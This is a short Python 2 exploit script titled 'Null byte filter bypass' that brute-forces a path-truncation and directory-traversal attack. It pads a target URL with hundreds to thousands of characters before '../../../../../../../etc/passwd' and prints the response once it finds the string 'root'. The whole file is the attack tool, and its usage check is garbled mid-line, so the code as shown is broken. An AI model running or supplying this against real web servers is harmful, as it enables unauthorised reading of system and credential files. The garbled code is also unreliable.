#!/usr/bin/env python
# Null byte filter bypass
import urllib, sys

if len(sys.argv)  [file] [true]: "
	exit()

file = "../../../../../../../etc/passwd";
true = "root"

if len(sys.argv) > 3:
	file = sys.argv[2]
	true = sys.argv[3]

url = sys.argv[1]

for i in xrange(900, 4096):
	sys.stderr.write("\rTry: " + str(i))

	d = "t" * i
	try:
		fd = urllib.urlopen(url + d + file)
	except:
		print "Error connect"
		sys.exit(1)

	data = fd.read()
	fd.close()

	if data.find(true) > -1:
		print '\n', data
		exit(0)